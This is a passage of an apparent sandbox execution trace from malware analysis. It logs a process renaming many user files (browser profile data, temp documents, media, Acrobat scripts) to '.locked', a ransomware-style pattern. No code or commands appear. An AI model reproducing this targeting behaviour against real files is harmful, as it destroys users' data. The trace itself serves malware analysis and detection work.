halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\thumbnails\\ba182bcd131f1f3c6b6fbbb1ba078341.png"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\thumbnails\\ba182bcd131f1f3c6b6fbbb1ba078341.png.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\thumbnails\\ba182bcd131f1f3c6b6fbbb1ba078341.png.locked"), dwFlags=0x2) returned 1 [0156.270] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\thumbnails\\ce8c0453589216a67cddb50284fbfe8d.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\thumbnails\\ce8c0453589216a67cddb50284fbfe8d.png"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\thumbnails\\ce8c0453589216a67cddb50284fbfe8d.png.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\thumbnails\\ce8c0453589216a67cddb50284fbfe8d.png.locked"), dwFlags=0x2) returned 1 [0156.290] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\active-update.xml" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\updates\\e7cf176e110c211b\\active-update.xml"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\active-update.xml.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\updates\\e7cf176e110c211b\\active-update.xml.locked"), dwFlags=0x2) returned 1 [0156.298] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\updates.xml" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\updates\\e7cf176e110c211b\\updates.xml"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\updates\\E7CF176E110C211B\\updates.xml.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\updates\\e7cf176e110c211b\\updates.xml.locked"), dwFlags=0x2) returned 1 [0156.389] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\0mDd978HAzZaAHIW.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\0mdd978hazzaahiw.gif"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\0mDd978HAzZaAHIW.gif.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\0mdd978hazzaahiw.gif.locked"), dwFlags=0x2) returned 1 [0156.414] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\2uvMJ.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\2uvmj.swf"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\2uvMJ.swf.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\2uvmj.swf.locked"), dwFlags=0x2) returned 1 [0156.485] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\2v43BwuVxeDGuJ9Os.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\2v43bwuvxedguj9os.swf"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\2v43BwuVxeDGuJ9Os.swf.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\2v43bwuvxedguj9os.swf.locked"), dwFlags=0x2) returned 1 [0156.522] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\5XPL.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\5xpl.docx"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\5XPL.docx.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\5xpl.docx.locked"), dwFlags=0x2) returned 1 [0156.526] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\AdobeARM.log" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\adobearm.log"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\AdobeARM.log.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\adobearm.log.locked"), dwFlags=0x2) returned 1 [0156.532] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\a_F72ly.xls" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\a_f72ly.xls"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\a_F72ly.xls.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\a_f72ly.xls.locked"), dwFlags=0x2) returned 1 [0156.587] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\B49JvaPrT1.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\b49jvaprt1.bmp"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\B49JvaPrT1.bmp.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\b49jvaprt1.bmp.locked"), dwFlags=0x2) returned 1 [0156.658] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\bwH6phw0 WNnUWho.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\bwh6phw0 wnnuwho.wav"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\bwH6phw0 WNnUWho.wav.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\bwh6phw0 wnnuwho.wav.locked"), dwFlags=0x2) returned 1 [0156.712] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\bXdx87AEGLLodl8BE5.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\bxdx87aegllodl8be5.jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\bXdx87AEGLLodl8BE5.jpg.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\bxdx87aegllodl8be5.jpg.locked"), dwFlags=0x2) returned 1 [0156.744] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\bZ-R.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\bz-r.wav"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\bZ-R.wav.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\bz-r.wav.locked"), dwFlags=0x2) returned 1 [0156.767] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Cookies\\index.dat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\cookies\\index.dat"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Cookies\\index.dat.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\cookies\\index.dat.locked"), dwFlags=0x2) returned 1 [0156.840] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\e7jGZL98OBrUvizPu4.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\e7jgzl98obruvizpu4.gif"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\e7jGZL98OBrUvizPu4.gif.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\e7jgzl98obruvizpu4.gif.locked"), dwFlags=0x2) returned 1 [0156.873] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\E8eslXVjHuXhgEPkvS.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\e8eslxvjhuxhgepkvs.m4a"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\E8eslXVjHuXhgEPkvS.m4a.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\e8eslxvjhuxhgepkvs.m4a.locked"), dwFlags=0x2) returned 1 [0157.220] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\fWeMrM2.pps" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\fwemrm2.pps"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\fWeMrM2.pps.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\fwemrm2.pps.locked"), dwFlags=0x2) returned 1 [0157.222] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\FXSAPIDebugLogFile.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\fxsapidebuglogfile.txt"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\FXSAPIDebugLogFile.txt.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\fxsapidebuglogfile.txt.locked"), dwFlags=0x2) returned 0 [0157.222] GetLastError () returned 0x20 [0157.222] GetLastError () returned 0x20 [0157.257] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\History\\History.IE5\\index.dat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\history\\history.ie5\\index.dat"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\History\\History.IE5\\index.dat.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\history\\history.ie5\\index.dat.locked"), dwFlags=0x2) returned 1 [0157.335] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\jU63ZIim.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\ju63ziim.bmp"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\jU63ZIim.bmp.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\ju63ziim.bmp.locked"), dwFlags=0x2) returned 1 [0157.433] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\kFIIUafN0sEmKw.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\kfiiuafn0semkw.mkv"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\kFIIUafN0sEmKw.mkv.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\kfiiuafn0semkw.mkv.locked"), dwFlags=0x2) returned 1 [0157.449] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\l_3i.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\l_3i.jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\l_3i.jpg.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\l_3i.jpg.locked"), dwFlags=0x2) returned 1 [0157.525] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\mcg7Y.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\mcg7y.flv"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\mcg7Y.flv.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\mcg7y.flv.locked"), dwFlags=0x2) returned 1 [0157.575] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\PeNpv.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\penpv.pptx"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\PeNpv.pptx.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\penpv.pptx.locked"), dwFlags=0x2) returned 1 [0157.694] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\QHJGwq0EBJX9jY.pdf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\qhjgwq0ebjx9jy.pdf"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\QHJGwq0EBJX9jY.pdf.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\qhjgwq0ebjx9jy.pdf.locked"), dwFlags=0x2) returned 1 [0157.764] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Sfy-IRZR.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\sfy-irzr.gif"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Sfy-IRZR.gif.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\sfy-irzr.gif.locked"), dwFlags=0x2) returned 1 [0157.841] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\index.dat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\temporary internet files\\content.ie5\\index.dat"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Temporary Internet Files\\Content.IE5\\index.dat.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\temporary internet files\\content.ie5\\index.dat.locked"), dwFlags=0x2) returned 1 [0157.930] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\u1yHMT.ots" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\u1yhmt.ots"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\u1yHMT.ots.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\u1yhmt.ots.locked"), dwFlags=0x2) returned 1 [0157.978] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\UGu4gz.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\ugu4gz.mp4"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\UGu4gz.mp4.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\ugu4gz.mp4.locked"), dwFlags=0x2) returned 1 [0158.058] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\vKnbd.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\vknbd.swf"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\vKnbd.swf.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\vknbd.swf.locked"), dwFlags=0x2) returned 1 [0158.156] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\WwqdQIzvdmM4.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\wwqdqizvdmm4.flv"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\WwqdQIzvdmM4.flv.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\wwqdqizvdmm4.flv.locked"), dwFlags=0x2) returned 1 [0158.177] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Xeyk 88kiZIK.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\xeyk 88kizik.avi"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Xeyk 88kiZIK.avi.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\xeyk 88kizik.avi.locked"), dwFlags=0x2) returned 1 [0158.191] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Y2jf0hgMB4zvC.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\y2jf0hgmb4zvc.mp3"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Y2jf0hgMB4zvC.mp3.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\y2jf0hgmb4zvc.mp3.locked"), dwFlags=0x2) returned 1 [0158.226] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\YF7YLw5p.pdf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\yf7ylw5p.pdf"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\YF7YLw5p.pdf.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\yf7ylw5p.pdf.locked"), dwFlags=0x2) returned 1 [0158.273] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\ZEtTLJCd.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\zettljcd.avi"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\ZEtTLJCd.avi.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\zettljcd.avi.locked"), dwFlags=0x2) returned 1 [0158.353] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\rdrmessage.zip" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\adobe\\acrobat\\10.0\\rdrmessage.zip"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Acrobat\\10.0\\rdrmessage.zip.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\adobe\\acrobat\\10.0\\rdrmessage.zip.locked"), dwFlags=0x2) returned 1 [0158.447] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\36USA68T\\imagesrv.adition[1].xml" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\internet explorer\\domstore\\36usa68t\\imagesrv.adition[1].xml"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\36USA68T\\imagesrv.adition[1].xml.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\internet explorer\\domstore\\36usa68t\\imagesrv.adition[1].xml.locked"), dwFlags=0x2) returned 1 [0158.467] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\3O75JDME\\www.google[1].xml" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\internet explorer\\domstore\\3o75jdme\\www.google[1].xml"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\3O75JDME\\www.google[1].xml.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\internet explorer\\domstore\\3o75jdme\\www.google[1].xml.locked"), dwFlags=0x2) returned 1 [0158.513] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\index.dat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\internet explorer\\domstore\\index.dat"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\index.dat.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\internet explorer\\domstore\\index.dat.locked"), dwFlags=0x2) returned 1 [0158.521] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\VGMTOI09\\www.msn[1].xml" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\internet explorer\\domstore\\vgmtoi09\\www.msn[1].xml"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\VGMTOI09\\www.msn[1].xml.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\internet explorer\\domstore\\vgmtoi09\\www.msn[1].xml.locked"), dwFlags=0x2) returned 1 [0158.587] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\-CGZYE1z0pVhnmyK7t.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\-cgzye1z0pvhnmyk7t.bmp"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\-CGZYE1z0pVhnmyK7t.bmp.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\-cgzye1z0pvhnmyk7t.bmp.locked"), dwFlags=0x2) returned 1 [0158.603] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\503Szxqen4L6L-s.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\503szxqen4l6l-s.mp3"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\503Szxqen4L6L-s.mp3.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\503szxqen4l6l-s.mp3.locked"), dwFlags=0x2) returned 1 [0158.694] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\5CChMKy4.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\5cchmky4.swf"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\5CChMKy4.swf.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\5cchmky4.swf.locked"), dwFlags=0x2) returned 1 [0158.743] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\7eOE.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\7eoe.bmp"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\7eOE.bmp.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\7eoe.bmp.locked"), dwFlags=0x2) returned 1 [0158.771] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\8YOzm695auoXeTtG7vf.ots" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\8yozm695auoxettg7vf.ots"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\8YOzm695auoXeTtG7vf.ots.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\8yozm695auoxettg7vf.ots.locked"), dwFlags=0x2) returned 1 [0158.783] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\JavaScripts\\glob.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\adobe\\acrobat\\10.0\\javascripts\\glob.js"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\JavaScripts\\glob.js.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\adobe\\acrobat\\10.0\\javascripts\\glob.js.locked"), dwFlags=0x2) returned 1 [0158.786] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\JavaScripts\\glob.settings.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\adobe\\acrobat\\10.0\\javascripts\\glob.settings.js"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\JavaScripts\\glob.settings.js.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\adobe\\acrobat\\10.0\\javascripts\\glob.settings.js.locked"), dwFlags=0x2) returned 1 [0158.824] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\AO01yiFCRFHE.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\ao01yifcrfhe.jpg"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\AO01yiFCRFHE.jpg.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\ao01yifcrfhe.jpg.locked"), dwFlags=0x2) returned 1 [0158.833] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\BL5w8Vbajeba eSFps.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\bl5w8vbajeba esfps.m4a"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\BL5w8Vbajeba eSFps.m4a.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\bl5w8vbajeba esfps.m4a.locked"), dwFlags=0x2) returned 1 [0158.885] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\C8t3mY.avi" (normalized: 